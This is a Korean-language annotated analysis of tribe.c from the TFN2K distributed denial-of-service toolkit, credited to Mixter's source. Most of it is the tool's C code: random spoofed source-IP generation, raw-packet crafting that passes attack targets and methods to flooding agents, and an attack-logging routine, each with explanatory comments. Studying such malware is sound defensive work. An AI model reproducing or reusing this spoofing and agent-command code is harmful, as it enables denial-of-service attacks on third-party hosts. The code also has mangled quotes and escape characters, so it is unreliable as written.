다음으로 확인할 것은 tribe.c이다.
전작에서는 이것이 서버에 설치되는 프로그램이었다는 것 같은데, 2000에서는
기본적인 함수들을 포함하는 파일로 남았다. 이것은 tfn, td의 실행시 필요한
함수들을 포함한다. 물론 여기에서는 설정에 관한 부분은 제외하고 실제 작동하는
부분을 보인다.

/*random_init 이 함수는 랜덤하게 숫자를 생성한다. 같은 파일 안에 있는 getrandom
함수의 안에서 난수 발생의 역할을 맡고 있다.*/
void
random_init (void)
{
int rfd = open (“/dev/urandom”, O_RDONLY);
if (rfd < 0)
rfd = open (“/dev/random”, O_RDONLY);
rcounter = read (rfd, rseed, 65535);
close (rfd);
}

/*getrandom 이 함수는 발생될 난수의 범위를 구하여 그 안에서 임의의 수를 추출해
낸다. */
inline
long
getrandom (int min, int max)
{
if (rcounter < 2)
random_init ();
srand (rseed[rcounter] + (rseed[rcounter – 1] << 8));
rcounter -= 2;
return ((random () % (int) (((max) + 1) – (min))) + (min));
}

/*trimbuf 이 함수는 문자열을 배열로 받아 문자열의 실제 길이만큼의 배열로 바꾸어
준다.*/
void
trimbuf (char *buf)
{
int i = 0;
for (i = 0; i < strlen (buf); i++)
if ((buf[i] == ‘n’) || (buf[i] == ‘r’))
buf[i] = ”;
}

/*k00lip 이 함수는 소위 랜덤하게 ip 주소를 생성해 내는 함수로 보면 딱 맞는다.*/
inline unsigned long
k00lip (void)
{
int a, b, c, d;
if (nospoof < 1)
return (unsigned long) (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
hax0r.s_addr = htonl (myip);
sscanf (inet_ntoa (hax0r), “%d.%d.%d.%d”, &a, &b, &c, &d);
if (nospoof < 2)
b = getrandom (1, 254);
if (nospoof < 3)
c = getrandom (1, 254);
d = getrandom (1, 254);
sprintf (convi, “%d.%d.%d.%d”, a, b, c, d);
return inet_addr (convi);
}

/*tfntransmit 이 함수는 tfn.c에서 tfn_send 함수의 일부로 쓰인 것으로, 서버에서
각각의 에이전트들로 공격할 타겟과 방식을 전달하는 역할을 한다.*/
void
tfntransmit (unsigned long from, unsigned long to, int proto, char id, char *target)
{
sin.fam = AF_INET;
/*이것은 인터넷 이름공간에 맞는 주소포맷이다. 앞이 sin.으로 되어 있는 것들은
대개 인터넷 소켓 주소의 포맷이다.*/
sin.add = to;
memset (buf, 0, BS);

/*이것은 각각 헤더에 들어갈 내용이다. 헤더의 구조대로 구조체가 만들어져 있고,
공격을 위해 보내어질 패킷에 여기 지정된 값들이 들어가는 헤더가 붙어서 가게
된다.*/
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = 0;
ih->id = htons (getrandom (1024, 65535));
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->sum = 0;
ih->src = from;
ih->dst = to;

switch ((proto == -1) ? getrandom (0, 2) : proto)
/*proto가 -1이면 0,1,2 중 삼자 택일을 하는 것이고 그렇지 않으면 proto의 값을
그대로 받는다.*/
{
case 0: /*icmp*/
tot_len += sizeof (struct icmp);
ih->pro = ICMP;
ssock = socket (AF_INET, SOCK_RAW, ICMP);
p = buf + sizeof (struct ip) + sizeof (struct icmp);
ich->type = 0;
ich->code = 0;
ich->id = getrandom (0, 1) ? getrandom (0, 65535) : 0;
ich->seq = getrandom (0, 1) ? getrandom (0, 65535) : 0;
ich->sum = 0;
encode64 (data, p, strlen (data));
tot_len += strlen (p);
ich->sum = cksum ((u16 *) ich, tot_len >> 1);
ih->tl = tot_len;
sin.dp = htons (0);
/*순서 바꾸기. 호스트에서 통용되는 구조를 호환성을 위해 네트워크에서
통용되는 구조로 바꾼다.*/
break;
case 1: /*udp*/
/*똑같은 내용이므로 생략*/
case 2: /*tcp*/
/*똑같은 내용이므로 생략*/
default: /*아무 것도 아니면 중지*/
exit (0);
break;
}
/*여기까지 보낼 것을 가공*/
setsockopt (ssock, IP, IP_HDRINCL, “1”, sizeof (“1”));
if (sendto (ssock, buf, tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
perror (“sendto”);
/*에이전트에 명령을 보내는 것을 실패할 경우 에러 이유를 출력한다.*/
/*접속 종료*/
close (ssock);
}

/*공격한 기록을 남기는 함수*/
#ifdef ATTACKLOG
void
dbug (char *s)
{
int f = open (ATTACKLOG, O_WRONLY | O_APPEND | O_CREAT);
write (f, s, strlen (s));
close (f);
}
#endif

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777